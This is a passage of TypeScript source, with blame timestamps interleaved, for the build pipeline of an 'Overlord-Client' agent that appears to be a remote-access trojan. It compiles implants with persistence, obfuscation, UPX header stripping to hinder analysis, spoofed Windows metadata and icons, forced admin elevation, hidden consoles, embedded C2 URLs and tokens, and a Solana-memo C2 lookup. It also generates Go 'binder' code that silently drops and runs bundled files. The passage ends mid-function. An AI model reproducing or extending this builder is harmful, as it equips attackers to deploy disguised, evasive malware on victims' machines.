2026-03-05 00:04:26 -06:00
import { $ } from "bun" ;
import path from "path" ;
import fs from "fs" ;
2026-03-12 21:26:53 -05:00
import { v4 as uuidv4 } from "uuid" ;
2026-03-05 00:04:26 -06:00
import { saveBuild } from "../db" ;
import { logger } from "../logger" ;
import { getConfig } from "../config" ;
2026-03-08 03:07:23 -05:00
import { ensureDataDir } from "../paths" ;
2026-03-05 00:04:26 -06:00
import * as buildManager from "../build/buildManager" ;
import type { BuildStream } from "../build/types" ;
import { ALLOWED_PLATFORMS } from "./validation-constants" ;
import { resolveRuntimeRoot } from "./runtime-paths" ;
2026-03-06 13:31:34 -06:00
function isClientModuleDir ( dir : string ) : boolean {
return (
fs . existsSync ( path . join ( dir , "go.mod" )) &&
fs . existsSync ( path . join ( dir , "cmd" , "agent" ))
);
}
function resolveClientModuleDir ( rootDir : string ) : string | null {
const candidates = [
path . join ( rootDir , "Overlord-Client" ),
path . join ( rootDir , ".." , "Overlord-Client" ),
2026-03-12 00:29:25 -05:00
path . join ( rootDir , "dist" , "Overlord-Client" ),
path . join ( rootDir , "dist" , "Overlord-Client" , "Overlord-Client" ),
2026-03-06 13:31:34 -06:00
];
for ( const dir of candidates ) {
if ( isClientModuleDir ( dir )) {
return dir ;
}
}
return null ;
}
2026-03-08 03:07:23 -05:00
function resolveClientBuildCacheRoot () : string {
const explicit = process . env . OVERLORD_CLIENT_BUILD_CACHE_DIR ? . trim ();
if ( explicit ) {
return path . resolve ( explicit );
}
// Keep UI build caches under persistent app data by default.
return path . resolve ( ensureDataDir (), "client-build-cache" );
}
2026-03-10 17:09:27 -05:00
function resolveAndroidNdkToolchainBin () : string | null {
const ndkHome = ( process . env . ANDROID_NDK_HOME || "/opt/android-ndk" ). trim ();
const hostArch = process . arch === "arm64" ? "linux-aarch64" : "linux-x86_64" ;
const toolchainBin = path . join ( ndkHome , "toolchains" , "llvm" , "prebuilt" , hostArch , "bin" );
return fs . existsSync ( toolchainBin ) ? toolchainBin : null ;
}
2026-03-21 02:37:10 -05:00
type BoundFile = {
name : string ;
data : string ; // base64
targetOS : string []; // [] = all, otherwise ["windows","linux","darwin"]
execute : boolean ;
};
2026-03-05 00:04:26 -06:00
type BuildProcessConfig = {
platforms : string [];
serverUrl? : string ;
rawServerList? : boolean ;
mutex? : string ;
disableMutex? : boolean ;
stripDebug? : boolean ;
disableCgo? : boolean ;
obfuscate? : boolean ;
enablePersistence? : boolean ;
2026-03-26 11:05:04 -05:00
persistenceMethods? : string [];
2026-03-21 03:06:35 -05:00
startupName? : string ;
2026-03-05 00:04:26 -06:00
hideConsole? : boolean ;
noPrinting? : boolean ;
2026-03-12 21:26:53 -05:00
builtByUserId? : number ;
2026-03-16 14:09:06 +01:00
outputName? : string ;
garbleLiterals? : boolean ;
garbleTiny? : boolean ;
garbleSeed? : string ;
assemblyTitle? : string ;
assemblyProduct? : string ;
assemblyCompany? : string ;
assemblyVersion? : string ;
assemblyCopyright? : string ;
iconBase64? : string ;
2026-03-16 14:42:18 +01:00
enableUpx? : boolean ;
upxStripHeaders? : boolean ;
2026-03-21 02:12:35 -05:00
requireAdmin? : boolean ;
2026-04-03 10:47:05 -05:00
criticalProcess? : boolean ;
2026-03-21 02:12:35 -05:00
outputExtension? : string ;
sleepSeconds? : number ;
2026-03-21 02:37:10 -05:00
boundFiles? : BoundFile [];
2026-03-05 00:04:26 -06:00
};
2026-03-16 18:42:56 -05:00
async function checkUpxAvailable ( sendToStream : ( data : any ) => void ) : Promise < boolean > {
2026-03-16 14:42:18 +01:00
try {
const check = await $ `upx --version` . quiet (). nothrow ();
if ( check . exitCode === 0 ) {
const ver = check . stdout . toString (). split ( "\n" )[ 0 ] ? . trim () || "upx" ;
sendToStream ({ type : "output" , text : `UPX found: ${ ver } \ n` , level : "info" });
2026-03-16 18:42:56 -05:00
return true ;
2026-03-16 14:42:18 +01:00
}
} catch {}
2026-03-16 18:42:56 -05:00
return false ;
2026-03-16 14:42:18 +01:00
}
function stripUpxHeaders ( filePath : string ) : boolean {
try {
const buf = Buffer . from ( fs . readFileSync ( filePath ));
const UPX_MAGIC = Buffer . from ( "UPX!" );
let modified = false ;
let offset = 0 ;
while ( offset < buf . length - 3 ) {
const idx = buf . indexOf ( UPX_MAGIC , offset );
if ( idx === - 1 ) break ;
buf [ idx ] = 0x00 ;
buf [ idx + 1 ] = 0x00 ;
buf [ idx + 2 ] = 0x00 ;
buf [ idx + 3 ] = 0x00 ;
modified = true ;
offset = idx + 4 ;
}
if ( modified ) {
fs . writeFileSync ( filePath , buf );
}
return modified ;
} catch {
return false ;
}
}
2026-03-05 00:04:26 -06:00
type BuildProcessDeps = {
generateBuildMutex : ( length? : number ) => string ;
sanitizeOutputName : ( name : string ) => string ;
};
2026-03-12 12:05:42 -05:00
function detectAgentVersion ( clientDir : string ) : string {
try {
const configPath = path . join ( clientDir , "cmd" , "agent" , "config" , "config.go" );
const content = fs . readFileSync ( configPath , "utf8" );
const match = content . match ( /var\s+AgentVersion\s*=\s*"([^"]+)"/ );
return match ? .[ 1 ] ? . trim () || "unknown" ;
} catch {
return "unknown" ;
}
}
2026-03-05 00:04:26 -06:00
export async function startBuildProcess (
buildId : string ,
config : BuildProcessConfig ,
deps : BuildProcessDeps ,
) : Promise < void > {
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000 ;
2026-03-06 13:07:56 -06:00
const BUILD_STREAM_HEARTBEAT_MS = 15 _000 ;
2026-03-05 00:04:26 -06:00
const now = Date . now ();
const build : BuildStream = {
id : buildId ,
controllers : [],
status : "running" ,
startTime : now ,
expiresAt : now + SEVEN_DAYS_MS ,
files : [],
2026-03-16 13:42:13 +01:00
userId : config.builtByUserId ,
2026-03-05 00:04:26 -06:00
};
buildManager . addBuildStream ( buildId , build );
const sendToStream = ( data : any ) => {
const encoder = new TextEncoder ();
const message = `data: ${ JSON . stringify ( data ) } \ n \ n` ;
const encoded = encoder . encode ( message );
if ( data . type === "output" ) {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ data . text . trimEnd () } ` );
} else if ( data . type === "status" ) {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] STATUS: ${ data . text } ` );
} else if ( data . type === "error" ) {
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ERROR: ${ data . error } ` );
}
build . controllers . forEach (( controller ) => {
try {
controller . enqueue ( encoded );
} catch ( err ) {
logger . error ( "[build] Failed to send to stream:" , err );
}
});
2026-03-26 16:25:06 -05:00
if ( data . type === "complete" ) {
build . controllers . forEach (( controller ) => {
try {
controller . close ();
} catch {}
});
build . controllers . length = 0 ;
}
2026-03-05 00:04:26 -06:00
};
2026-03-16 14:09:06 +01:00
let winresTempDir : string | null = null ;
const generatedSysoFiles : string [] = [];
2026-03-21 02:37:10 -05:00
let binderGenPath : string | null = null ;
let binderFilesDir : string | null = null ;
let binderLockPath : string | null = null ;
2026-03-16 14:09:06 +01:00
2026-03-06 13:07:56 -06:00
const buildStartedAt = Date . now ();
const keepAliveTimer = setInterval (() => {
const elapsedMinutes = Math . floor (( Date . now () - buildStartedAt ) / 60 _000 );
sendToStream ({
type : "heartbeat" ,
elapsedMinutes ,
timestamp : Date.now (),
});
}, BUILD_STREAM_HEARTBEAT_MS );
2026-03-05 00:04:26 -06:00
try {
const serverConfig = getConfig ();
const buildAgentToken = ( serverConfig . auth . agentToken || "" ). trim ();
sendToStream ({ type : "status" , text : "Preparing build environment..." });
try {
const goCheck = await $ `go version` . quiet ();
const goVersion = goCheck . stdout . toString (). trim ();
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Using ${ goVersion } ` );
sendToStream ({ type : "output" , text : `Using ${ goVersion } \ n` , level : "info" });
} catch {
const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH." ;
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ errorMsg } ` );
sendToStream ({ type : "output" , text : `ERROR: ${ errorMsg } \ n` , level : "error" });
sendToStream ({ type : "error" , error : errorMsg });
sendToStream ({ type : "complete" , success : false });
build . status = "failed" ;
return ;
}
const rootDir = resolveRuntimeRoot ();
2026-03-06 13:31:34 -06:00
const clientDir = resolveClientModuleDir ( rootDir );
if ( ! clientDir ) {
throw new Error (
`Overlord-Client source not found (missing go.mod). Checked: ${ path . join ( rootDir , "dist" , "Overlord-Client" ) } , ${ path . join ( rootDir , "Overlord-Client" ) } ` ,
);
}
2026-03-12 12:05:42 -05:00
const agentVersion = detectAgentVersion ( clientDir );
2026-03-05 00:04:26 -06:00
const outDir = path . join ( rootDir , "dist-clients" );
2026-03-08 03:07:23 -05:00
const cacheRoot = resolveClientBuildCacheRoot ();
const goBuildCacheDir = path . join ( cacheRoot , "go-build" );
const goModCacheDir = path . join ( cacheRoot , "go-mod" );
2026-03-05 00:04:26 -06:00
await Bun . $ `mkdir -p ${ outDir } ` . quiet ();
2026-03-08 03:07:23 -05:00
fs . mkdirSync ( goBuildCacheDir , { recursive : true });
fs . mkdirSync ( goModCacheDir , { recursive : true });
2026-03-05 00:04:26 -06:00
sendToStream ({ type : "output" , text : `Build directory: ${ outDir } \ n` , level : "info" });
2026-03-06 13:31:34 -06:00
sendToStream ({ type : "output" , text : `Client source: ${ clientDir } \ n` , level : "info" });
2026-03-12 12:05:42 -05:00
sendToStream ({ type : "output" , text : `Stub version: ${ agentVersion } \ n` , level : "info" });
2026-03-08 03:07:23 -05:00
sendToStream ({ type : "output" , text : `Client build cache: ${ cacheRoot } \ n` , level : "info" });
2026-03-05 00:04:26 -06:00
const platformsToBuild = ( config . platforms || []). filter (( p ) => ALLOWED_PLATFORMS . has ( p ));
if ( platformsToBuild . length !== ( config . platforms || []). length ) {
throw new Error ( "One or more requested platforms are not allowed" );
}
2026-03-10 18:27:45 -05:00
const hasAndroidTargets = platformsToBuild . some (( p ) => p . startsWith ( "android-" ));
const hasBsdTargets = platformsToBuild . some (
( p ) => p . startsWith ( "freebsd-" ) || p . startsWith ( "openbsd-" ),
);
if ( hasAndroidTargets ) {
sendToStream ({
type : "output" ,
text : "WARNING: Android targets are severely untested and will probably not work right.\n" ,
level : "warn" ,
});
}
if ( hasBsdTargets ) {
sendToStream ({
type : "output" ,
text : "WARNING: BSD targets are severely untested and will probably not work right.\n" ,
level : "warn" ,
});
}
2026-03-10 17:09:27 -05:00
const ndkBin = resolveAndroidNdkToolchainBin ();
if ( ! ndkBin && platformsToBuild . some (( p ) => p . startsWith ( "android-" ))) {
sendToStream ({
type : "output" ,
text : "Warning: Android NDK not found. Android builds require the NDK. Install it to /opt/android-ndk or set the ANDROID_NDK_HOME environment variable.\n" ,
level : "warn" ,
});
}
2026-03-05 00:04:26 -06:00
let buildMutex = "" ;
if ( ! config . disableMutex ) {
buildMutex = config . mutex || deps . generateBuildMutex ();
sendToStream ({ type : "output" , text : `Mutex: ${ buildMutex } \ n` , level : "info" });
} else {
sendToStream ({ type : "output" , text : "Mutex: disabled\n" , level : "info" });
}
2026-03-12 21:26:53 -05:00
const buildTag = uuidv4 ();
sendToStream ({ type : "output" , text : `Build tag: ${ buildTag } \ n` , level : "info" });
2026-03-16 14:09:06 +01:00
if ( config . outputName ) {
sendToStream ({ type : "output" , text : `Custom output name: ${ config . outputName } \ n` , level : "info" });
}
2026-03-16 14:42:18 +01:00
let upxBin : string | null = null ;
if ( config . enableUpx ) {
2026-03-16 18:42:56 -05:00
const upxFound = await checkUpxAvailable ( sendToStream );
if ( ! upxFound ) {
sendToStream ({
type : "output" ,
text : "ERROR: UPX is not installed or not found in PATH. Please install UPX (https://upx.github.io) and ensure it is available on PATH, then retry.\n" ,
level : "error" ,
});
throw new Error ( "UPX not found" );
2026-03-16 14:42:18 +01:00
}
2026-03-16 18:42:56 -05:00
upxBin = "upx" ;
2026-03-16 14:42:18 +01:00
}
2026-03-21 02:12:35 -05:00
const hasAssemblyData = !! ( config . assemblyTitle || config . assemblyProduct || config . assemblyCompany || config . assemblyVersion || config . assemblyCopyright || config . iconBase64 || config . requireAdmin );
2026-03-16 14:09:06 +01:00
const hasWindowsTargets = platformsToBuild . some (( p ) => p . startsWith ( "windows-" ));
if ( hasAssemblyData && hasWindowsTargets ) {
sendToStream ({ type : "status" , text : "Generating Windows resource data..." });
const goEnvResult = await $ `go env GOPATH` . quiet ();
const goPath = goEnvResult . stdout . toString (). trim ();
const goBinDir = process . env . GOBIN || ( goPath ? path . join ( goPath , "bin" ) : "" );
const winresExe = process . platform === "win32" ? "go-winres.exe" : "go-winres" ;
let winresBin = "go-winres" ;
let hasWinres = false ;
if ( goBinDir && fs . existsSync ( path . join ( goBinDir , winresExe ))) {
winresBin = path . join ( goBinDir , winresExe );
hasWinres = true ;
} else {
try {
await $ `go-winres version` . quiet ();
hasWinres = true ;
} catch {
try {
sendToStream ({ type : "output" , text : "Installing go-winres...\n" , level : "info" });
await $ `go install github.com/tc-hib/go-winres@latest` . env ({ ... process . env , GOMODCACHE : goModCacheDir }). quiet ();
if ( goBinDir && fs . existsSync ( path . join ( goBinDir , winresExe ))) {
winresBin = path . join ( goBinDir , winresExe );
hasWinres = true ;
}
} catch ( installErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: Failed to install go-winres: ${ installErr . message || installErr } . Assembly data/icon will be skipped. \ n` , level : "warn" });
}
}
}
if ( hasWinres ) {
2026-03-16 18:30:16 -05:00
const agentDir = path . join ( clientDir , "cmd" , "agent" );
const winresLockPath = path . join ( agentDir , ".winres.lock" );
2026-03-16 14:09:06 +01:00
2026-03-16 18:30:16 -05:00
if ( fs . existsSync ( winresLockPath )) {
sendToStream ({
type : "output" ,
text : "WARNING: Another build is currently generating Windows resources for this client. Skipping winres for this build.\n" ,
level : "warn" ,
});
} else {
// Acquire a simple lock so only one build at a time touches cmd/agent/*.syso
fs . writeFileSync ( winresLockPath , String ( process . pid ));
2026-03-16 14:09:06 +01:00
try {
2026-03-16 18:30:16 -05:00
sendToStream ({ type : "output" , text : `Using go-winres: ${ winresBin } \ n` , level : "info" });
winresTempDir = path . join ( outDir , `.winres- ${ buildId . substring ( 0 , 8 ) } ` );
fs . mkdirSync ( winresTempDir , { recursive : true });
2026-03-16 14:09:06 +01:00
2026-03-16 18:30:16 -05:00
const winresConfig : any = {};
2026-03-16 14:09:06 +01:00
2026-03-16 18:30:16 -05:00
if ( config . iconBase64 ) {
try {
const iconBuffer = Buffer . from ( config . iconBase64 , "base64" );
const iconPath = path . join ( winresTempDir , "icon.ico" );
fs . writeFileSync ( iconPath , iconBuffer );
winresConfig [ "RT_GROUP_ICON" ] = { "#1" : { "0000" : "icon.ico" } };
sendToStream ({ type : "output" , text : `Icon embedded ( ${ iconBuffer . length } bytes) \ n` , level : "info" });
} catch ( iconErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: Failed to process icon: ${ iconErr . message } . Skipping icon. \ n` , level : "warn" });
2026-03-16 14:09:06 +01:00
}
}
2026-03-16 18:30:16 -05:00
const versionStr = config . assemblyVersion || "0.0.0.0" ;
2026-03-21 02:12:35 -05:00
const winExt = config . outputExtension || ".exe" ;
2026-03-16 18:30:16 -05:00
const versionInfo : any = {
"0409" : {
"FileDescription" : config . assemblyTitle || "" ,
"ProductName" : config . assemblyProduct || "" ,
"CompanyName" : config . assemblyCompany || "" ,
"FileVersion" : versionStr ,
"ProductVersion" : versionStr ,
"LegalCopyright" : config . assemblyCopyright || "" ,
2026-03-21 02:12:35 -05:00
"OriginalFilename" : config . outputName ? ( config . outputName + winExt ) : "" ,
2026-03-16 18:30:16 -05:00
},
};
winresConfig [ "RT_VERSION" ] = {
"#1" : {
"0000" : {
"fixed" : {
"file_version" : versionStr ,
"product_version" : versionStr ,
},
"info" : versionInfo ,
},
},
};
const winresJsonPath = path . join ( winresTempDir , "winres.json" );
2026-03-21 02:12:35 -05:00
if ( config . requireAdmin ) {
winresConfig [ "RT_MANIFEST" ] = {
"#1" : {
"0000" : {
"identity" : {},
"description" : "" ,
"minimum-os" : "vista" ,
"execution-level" : "requireAdministrator" ,
"ui-access" : false ,
"auto-elevate" : false ,
"dpi-awareness" : "system" ,
"disable-theming" : false ,
"disable-window-filtering" : false ,
"high-resolution-scrolling-aware" : false ,
"ultra-high-resolution-scrolling-aware" : false ,
"long-path-aware" : false ,
"printer-driver-isolation" : false ,
"gdi-scaling" : false ,
"segment-heap" : false ,
"use-common-controls-v6" : false ,
},
},
};
sendToStream ({ type : "output" , text : "UAC manifest: requireAdministrator\n" , level : "info" });
}
2026-03-16 18:30:16 -05:00
fs . writeFileSync ( winresJsonPath , JSON . stringify ( winresConfig , null , 2 ));
sendToStream ({ type : "output" , text : `Winres config: ${ winresJsonPath } \ n` , level : "info" });
const sysoOutPrefix = path . join ( agentDir , "rsrc" );
try {
const winresResult = await $ ` ${ winresBin } make --in ${ winresJsonPath } --out ${ sysoOutPrefix } ` . cwd ( winresTempDir ). nothrow (). quiet ();
if ( winresResult . exitCode !== 0 ) {
const stderr = winresResult . stderr . toString (). trim ();
sendToStream ({ type : "output" , text : `WARNING: go-winres failed (exit ${ winresResult . exitCode } ): ${ stderr } \ nBuilding without assembly data. \ n` , level : "warn" });
} else {
for ( const f of fs . readdirSync ( agentDir )) {
if ( f . startsWith ( "rsrc" ) && f . endsWith ( ".syso" )) {
generatedSysoFiles . push ( path . join ( agentDir , f ));
}
}
sendToStream ({ type : "output" , text : `Windows resources generated ( ${ generatedSysoFiles . length } .syso files) \ n` , level : "info" });
}
} catch ( winresErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: go-winres failed: ${ winresErr . message || winresErr } . Building without assembly data. \ n` , level : "warn" });
}
} finally {
try {
fs . unlinkSync ( winresLockPath );
} catch {
// ignore errors removing the lock
}
2026-03-16 14:09:06 +01:00
}
}
}
}
2026-03-21 02:37:10 -05:00
// ── Binder: embed files into the agent ────────────────────────────────────
const hasBoundFiles = Array . isArray ( config . boundFiles ) && config . boundFiles . length > 0 ;
if ( hasBoundFiles ) {
sendToStream ({ type : "status" , text : "Setting up bound files..." });
const agentDir = path . join ( clientDir , "cmd" , "agent" );
binderLockPath = path . join ( agentDir , ".binder.lock" );
binderGenPath = path . join ( agentDir , "binder_gen.go" );
binderFilesDir = path . join ( agentDir , "bindfiles" );
// Wait up to 5 minutes to acquire the binder lock (serializes concurrent builds with bound files)
const BINDER_POLL_MS = 1500 ;
const BINDER_TIMEOUT_MS = 5 * 60 * 1000 ;
const lockWaitStart = Date . now ();
while ( fs . existsSync ( binderLockPath )) {
if ( Date . now () - lockWaitStart > BINDER_TIMEOUT_MS ) {
throw new Error (
"Could not acquire binder lock after 5 minutes. Another build may have stalled. Please try again." ,
);
}
sendToStream ({ type : "output" , text : "Waiting for binder lock...\n" , level : "warn" });
await new Promise (( r ) => setTimeout ( r , BINDER_POLL_MS ));
}
fs . writeFileSync ( binderLockPath , ` ${ process . pid } , ${ buildId } ` );
try {
fs . mkdirSync ( binderFilesDir , { recursive : true });
const manifest : { name : string ; targetOS : string []; execute : boolean }[] = [];
for ( const bf of config . boundFiles ! ) {
const fileBytes = Buffer . from ( bf . data , "base64" );
fs . writeFileSync ( path . join ( binderFilesDir , bf . name ), fileBytes , { mode : 0o755 });
manifest . push ({ name : bf.name , targetOS : bf.targetOS , execute : bf.execute });
sendToStream ({
type : "output" ,
text : `Bound file: ${ bf . name } ( ${ fileBytes . length } bytes) ${ bf . targetOS . length > 0 ? ` [ ${ bf . targetOS . join ( "," ) } ]` : " [all OS]" }${ bf . execute ? " [exec]" : "" } \ n` ,
level : "info" ,
});
}
fs . writeFileSync (
path . join ( binderFilesDir , "manifest.json" ),
JSON . stringify ({ files : manifest }, null , 2 ),
);
const binderGoCode = `//go:build hasbinder
package main
import (
\ t"embed"
\ t"encoding/json"
\ t"os"
\ t"os/exec"
\ t"path/filepath"
\ t"runtime"
)
//go:embed bindfiles
var boundFilesFS embed.FS
type binderFileEntry struct {
\ tName string \`json:"name"\`
\ tTargetOS []string \`json:"targetOS"\`
\ tExecute bool \`json:"execute"\`
}
type binderManifest struct {
\ tFiles []binderFileEntry \`json:"files"\`
}
func runBoundFiles() {
\ tmanifestData, err := boundFilesFS.ReadFile("bindfiles/manifest.json")
\ tif err != nil {
\ t \ treturn
\ t}
\ tvar manifest binderManifest
\ tif err := json.Unmarshal(manifestData, &manifest); err != nil {
\ t \ treturn
\ t}
\ tif len(manifest.Files) == 0 {
\ t \ treturn
\ t}
\ ttmpDir, err := os.MkdirTemp("", "ovld_")
\ tif err != nil {
\ t \ treturn
\ t}
\ tfor _, entry := range manifest.Files {
\ t \ tif len(entry.TargetOS) > 0 {
\ t \ t \ tmatched := false
\ t \ t \ tfor _, t := range entry.TargetOS {
\ t \ t \ t \ tif t == runtime.GOOS {
\ t \ t \ t \ t \ tmatched = true
\ t \ t \ t \ t \ tbreak
\ t \ t \ t \ t}
\ t \ t \ t}
\ t \ t \ tif !matched {
\ t \ t \ t \ tcontinue
\ t \ t \ t}
\ t \ t}
\ t \ tdata, err := boundFilesFS.ReadFile("bindfiles/" + entry.Name)
\ t \ tif err != nil {
\ t \ t \ tcontinue
\ t \ t}
\ t \ toutPath := filepath.Join(tmpDir, entry.Name)
\ t \ tif err := os.WriteFile(outPath, data, 0755); err != nil {
\ t \ t \ tcontinue
\ t \ t}
\ t \ tif entry.Execute {
\ t \ t \ tvar cmd *exec.Cmd
\ t \ t \ tswitch runtime.GOOS {
\ t \ t \ tcase "windows":
\ t \ t \ t \ tcmd = exec.Command("cmd", "/c", "start", "", outPath)
\ t \ t \ tcase "darwin":
\ t \ t \ t \ tcmd = exec.Command("open", outPath)
\ t \ t \ tdefault:
\ t \ t \ t \ tcmd = exec.Command("xdg-open", outPath)
\ t \ t \ t}
\ t \ t \ t_ = cmd.Start()
\ t \ t}
\ t}
}
` ;
fs . writeFileSync ( binderGenPath , binderGoCode );
sendToStream ({
type : "output" ,
text : `Binder ready: ${ config . boundFiles ! . length } file(s) will be embedded \ n` ,
level : "info" ,
});
} catch ( binderErr : any ) {
// Release lock on setup failure
try { fs . unlinkSync ( binderLockPath ); } catch {}
binderLockPath = null ;
throw new Error ( `Binder setup failed: ${ binderErr . message || binderErr } ` );
}
}
// ── End binder setup ──────────────────────────────────────────────────────
2026-03-05 00:04:26 -06:00
for ( const platform of platformsToBuild ) {
const [ os , arch , ... rest ] = platform . split ( "-" );
2026-03-10 15:38:50 -05:00
const goarm = arch === "armv7" ? "7" : undefined ;
2026-03-05 00:04:26 -06:00
const actualArch = goarm ? "arm" : arch ;
2026-03-19 00:22:10 -05:00
const targetKey = ` ${ os } / ${ actualArch }${ goarm ? `/v ${ goarm } ` : "" } ` ;
2026-03-16 14:09:06 +01:00
const namePrefix = config . outputName || "agent" ;
2026-03-21 02:12:35 -05:00
const winExt = config . outputExtension || ".exe" ;
2026-03-05 00:04:26 -06:00
const outputName = deps . sanitizeOutputName (
2026-03-21 02:12:35 -05:00
platform . includes ( "windows" ) ? ` ${ namePrefix } - ${ platform }${ winExt } ` : ` ${ namePrefix } - ${ platform } ` ,
2026-03-05 00:04:26 -06:00
);
sendToStream ({ type : "status" , text : `Building ${ platform } ...` });
sendToStream ({ type : "output" , text : ` \ n=== Building ${ platform } === \ n` , level : "info" });
2026-03-06 13:31:48 -06:00
const env : NodeJS.ProcessEnv = {
2026-03-05 00:04:26 -06:00
... process . env ,
GOOS : os ,
GOARCH : actualArch ,
2026-03-06 12:43:42 -06:00
CGO_ENABLED : config.disableCgo === true ? "0" : "1" ,
2026-03-05 00:04:26 -06:00
GOWORK : "off" ,
2026-03-08 03:07:23 -05:00
GOCACHE : goBuildCacheDir ,
GOMODCACHE : goModCacheDir ,
2026-03-05 00:04:26 -06:00
...( goarm ? { GOARM : goarm } : {}),
};
2026-03-19 00:22:10 -05:00
if ( targetKey === "windows/arm64" && env . CGO_ENABLED === "1" ) {
env . CGO_ENABLED = "0" ;
sendToStream ({
type : "output" ,
text : "WARNING: windows/arm64 builds do not support CGO in this pipeline; forcing CGO disabled for this target.\n" ,
level : "warn" ,
});
}
2026-03-06 12:43:42 -06:00
if ( env . CGO_ENABLED === "1" ) {
const cCompilerByTarget : Record < string , string > = {
2026-04-03 11:30:01 -05:00
"linux/amd64" : "musl-gcc" ,
"linux/arm64" : "aarch64-linux-gnu-gcc" ,
"linux/arm/v7" : "arm-linux-gnueabihf-gcc" ,
2026-03-06 12:43:42 -06:00
"windows/amd64" : "x86_64-w64-mingw32-gcc" ,
"windows/386" : "i686-w64-mingw32-gcc" ,
2026-03-10 17:09:27 -05:00
...( ndkBin ? {
"android/amd64" : path . join ( ndkBin , "x86_64-linux-android21-clang" ),
"android/arm64" : path . join ( ndkBin , "aarch64-linux-android21-clang" ),
"android/arm/v7" : path . join ( ndkBin , "armv7a-linux-androideabi21-clang" ),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cxxCompilerByTarget : Record < string , string > = {
"linux/amd64" : "g++" ,
2026-04-03 11:30:01 -05:00
"linux/arm64" : "aarch64-linux-gnu-g++" ,
"linux/arm/v7" : "arm-linux-gnueabihf-g++" ,
2026-03-06 12:43:42 -06:00
"windows/amd64" : "x86_64-w64-mingw32-g++" ,
"windows/386" : "i686-w64-mingw32-g++" ,
2026-03-10 17:09:27 -05:00
...( ndkBin ? {
"android/amd64" : path . join ( ndkBin , "x86_64-linux-android21-clang++" ),
"android/arm64" : path . join ( ndkBin , "aarch64-linux-android21-clang++" ),
"android/arm/v7" : path . join ( ndkBin , "armv7a-linux-androideabi21-clang++" ),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cc = cCompilerByTarget [ targetKey ];
const cxx = cxxCompilerByTarget [ targetKey ];
if ( cc ) {
env . CC = cc ;
sendToStream ({ type : "output" , text : `CGO compiler: ${ cc } \ n` , level : "info" });
} else {
sendToStream ({
type : "output" ,
text : `CGO compiler not mapped for ${ targetKey } ; falling back to default compiler lookup \ n` ,
level : "warn" ,
});
}
if ( cxx ) {
env . CXX = cxx ;
}
2026-03-10 17:09:27 -05:00
if ( os === "android" && ndkBin ) {
env . AR = path . join ( ndkBin , "llvm-ar" );
}
2026-03-06 12:43:42 -06:00
}
2026-03-22 19:43:42 -05:00
let ldflags = config . stripDebug !== false ? "-s -w -buildid=" : "" ;
2026-03-05 00:04:26 -06:00
if ( config . serverUrl ) {
const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL= ${ config . serverUrl } ` ;
ldflags = ` ${ ldflags } ${ serverFlag } ` ;
sendToStream ({ type : "output" , text : `Server URL: ${ config . serverUrl } \ n` , level : "info" });
}
if ( config . rawServerList ) {
const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ rawServerFlag } ` : rawServerFlag ;
sendToStream ({ type : "output" , text : "Raw server list: enabled\n" , level : "info" });
}
2026-04-05 18:18:40 -05:00
if ( config . solMemo ) {
const solFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsSol=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ solFlag } ` : solFlag ;
sendToStream ({ type : "output" , text : "Solana memo lookup: enabled\n" , level : "info" });
if ( config . solAddress ) {
const solAddrFlag = `-X overlord-client/cmd/agent/config.DefaultSolAddress= ${ config . solAddress } ` ;
ldflags = ` ${ ldflags } ${ solAddrFlag } ` ;
sendToStream ({ type : "output" , text : `Solana address: ${ config . solAddress } \ n` , level : "info" });
}
if ( config . solRpcEndpoints ) {
const solRpcFlag = `-X overlord-client/cmd/agent/config.DefaultSolRPCEndpoints= ${ config . solRpcEndpoints } ` ;
ldflags = ` ${ ldflags } ${ solRpcFlag } ` ;
sendToStream ({ type : "output" , text : `Solana RPC endpoints: ${ config . solRpcEndpoints } \ n` , level : "info" });
}
}
2026-03-05 00:04:26 -06:00
if ( buildMutex ) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex= ${ buildMutex } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ mutexFlag } ` : mutexFlag ;
}
if ( config . enablePersistence ) {
2026-03-10 17:22:39 -05:00
if ( ! platform . startsWith ( 'android-' )) {
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ persistenceFlag } ` : persistenceFlag ;
2026-03-26 11:05:04 -05:00
const activeMethods = config . persistenceMethods && config . persistenceMethods . length > 0
? config . persistenceMethods
: [ 'startup' ];
sendToStream ({ type : "output" , text : `Persistence enabled for ${ platform } (methods: ${ activeMethods . join ( ', ' ) } ) \ n` , level : "info" });
2026-04-04 20:42:54 -05:00
if ( config . startupName ) {
2026-03-21 03:06:35 -05:00
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName= ${ config . startupName } ` ;
ldflags = ` ${ ldflags } ${ startupNameFlag } ` ;
sendToStream ({ type : "output" , text : `Startup name: ${ config . startupName } \ n` , level : "info" });
}
2026-03-10 17:22:39 -05:00
} else {
sendToStream ({ type : "output" , text : `Persistence is not supported on ${ platform } , skipping... \ n` , level : "warning" });
}
2026-03-05 00:04:26 -06:00
}
if ( buildAgentToken ) {
const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken= ${ buildAgentToken } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ agentTokenFlag } ` : agentTokenFlag ;
}
2026-03-12 21:26:53 -05:00
if ( buildTag ) {
const buildTagFlag = `-X overlord-client/cmd/agent/config.DefaultBuildTag= ${ buildTag } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ buildTagFlag } ` : buildTagFlag ;
}
2026-03-21 02:12:35 -05:00
